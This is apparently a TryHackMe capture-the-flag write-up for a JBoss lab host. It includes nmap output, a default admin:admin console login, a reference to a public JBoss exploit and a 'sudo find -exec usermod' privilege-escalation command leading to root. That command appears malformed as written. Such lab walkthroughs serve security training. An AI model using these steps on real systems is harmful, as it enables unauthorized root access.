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# TryHackMe-Tony The Tiger
## NMAP
```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-14 20:08 PKT
Nmap scan report for 10.10.127.87
Host is up (0.15s latency).
Not shown: 989 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d6:97:8c:b9:74:d0:f3:9e:fe:f3:a5:ea:f8:a9:b5:7a (DSA)
| 2048 33:a4:7b:91:38:58:50:30:89:2d:e4:57:bb:07:bb:2f (RSA)
| 256 21:01:8b:37:f5:1e:2b:c5:57:f1:b0:42:b7:32:ab:ea (ECDSA)
|_ 256 f6:36:07:3c:3b:3d:71:30:c4:cd:2a:13:00:b5:25:ae (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-generator: Hugo 0.66.0
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Tony's Blog
1090/tcp open java-rmi Java RMI
|_rmi-dumpregistry: ERROR: Script execution failed (use -d to debug)
1091/tcp open java-rmi Java RMI
1098/tcp open java-rmi Java RMI
1099/tcp open java-object Java Object Serialization
| fingerprint-strings:
| NULL:
| java.rmi.MarshalledObject|
| hash[
| locBytest
| objBytesq
| xpCCB
| xpCCB
| #http://thm-java-deserial.home:8083/q
| org.jnp.server.NamingServer_Stub
| java.rmi.server.RemoteStub
| java.rmi.server.RemoteObject
| xpwA
| UnicastRef2
|_ thm-java-deserial.home
4446/tcp open java-object Java Object Serialization
5500/tcp open hotline?
| fingerprint-strings:
| DNSStatusRequestTCP:
| GSSAPI
| NTLM
| CRAM-MD5
| DIGEST-MD5
| thm-java-deserial
| DNSVersionBindReqTCP, GenericLines, NULL:
| CRAM-MD5
| GSSAPI
| NTLM
| DIGEST-MD5
| thm-java-deserial
| GetRequest:
| DIGEST-MD5
| CRAM-MD5
| GSSAPI
| NTLM
| thm-java-deserial
| HTTPOptions:
| DIGEST-MD5
| GSSAPI
| CRAM-MD5
| NTLM
| thm-java-deserial
| Help:
| NTLM
| GSSAPI
| DIGEST-MD5
| CRAM-MD5
| thm-java-deserial
| Kerberos:
| CRAM-MD5
| DIGEST-MD5
| GSSAPI
| NTLM
| thm-java-deserial
| RPCCheck:
| NTLM
| DIGEST-MD5
| CRAM-MD5
| GSSAPI
| thm-java-deserial
| RTSPRequest:
| GSSAPI
| NTLM
| DIGEST-MD5
| CRAM-MD5
| thm-java-deserial
| SSLSessionReq:
| GSSAPI
| DIGEST-MD5
| NTLM
| CRAM-MD5
| thm-java-deserial
| TLSSessionReq:
| GSSAPI
| DIGEST-MD5
| NTLM
| thm-java-deserial
| TerminalServerCookie:
| DIGEST-MD5
| CRAM-MD5
| NTLM
| GSSAPI
|_ thm-java-deserial
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
| Supported methods: GET HEAD POST PUT DELETE TRACE OPTIONS
| Potentially risky methods: PUT DELETE TRACE
|_ See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
|_ Potentially risky methods: PUT DELETE TRACE
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Welcome to JBoss AS
8083/tcp open http JBoss service httpd
|_http-title: Site doesn't have a title (text/html).
```
## PORT 80
<img src="https://imgur.com/TV4u49m.png"/>
We see an image so let's see if there is any stegongraphy involved in this
<img src="https://imgur.com/r7q42WH.png"/>
I tried to run `steghide` to extract something from the image but failed as there is something wrong with the bytes in the image
<img src="https://imgur.com/NeZlGLN.png"/>
Run `strings` on the image
<img src="https://imgur.com/7IUwqil.png"/>
Now download `jboss.zip` which is provided in the room
## PORT 8080
<img src="https://imgur.com/8HOa5VJ.png"/>
There is an `administrative console` and try to login with default credentials which are `admin`:`admin`
<img src="https://imgur.com/0JLEwU4.png"/>
<img src="https://imgur.com/ZAXM7JP.png"/>
<img src="https://imgur.com/hWrXG53.png"/>
Now search for the `jboss` exploit and on the github page you'll find it
<img src="https://imgur.com/eVgsIfx.png"/>
Run it like it does in the picture
<img src="https://imgur.com/8rS5aAp.png"/>
<img src="https://imgur.com/0MpKvKB.png"/>
Looking in `jboss` directory we'll find a password
<img src="https://imgur.com/a5ydOew.png"/>
## Privilege Escalation
<img src="https://imgur.com/2ADqgUL.png"/>
We can see that we can run `find` as `sudo` so we can run find to execute a command to add `jboss` in sudoers
`jboss@thm-java-deserial:~$ sudo /usr/bin/find . -exec usermod -aG jboss \;`
```
jboss@thm-java-deserial:~$ sudo -l
Matching Defaults entries for jboss on thm-java-deserial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jboss may run the following commands on thm-java-deserial:
(ALL) NOPASSWD: /usr/bin/find
(ALL : ALL) ALL
jboss@thm-java-deserial:~$ sudo bash
[sudo] password for jboss:
root@thm-java-deserial:~#
```
To get the root flag , it is in `base64` encoded
<img src="https://imgur.com/VRkOsqs.png"/>
Now let's use `hashcat` it is in `md5 raw` so we can crack it
<img src="https://imgur.com/sCt8jzN.png"/>
<img src="https://imgur.com/78s7kFU.png"/>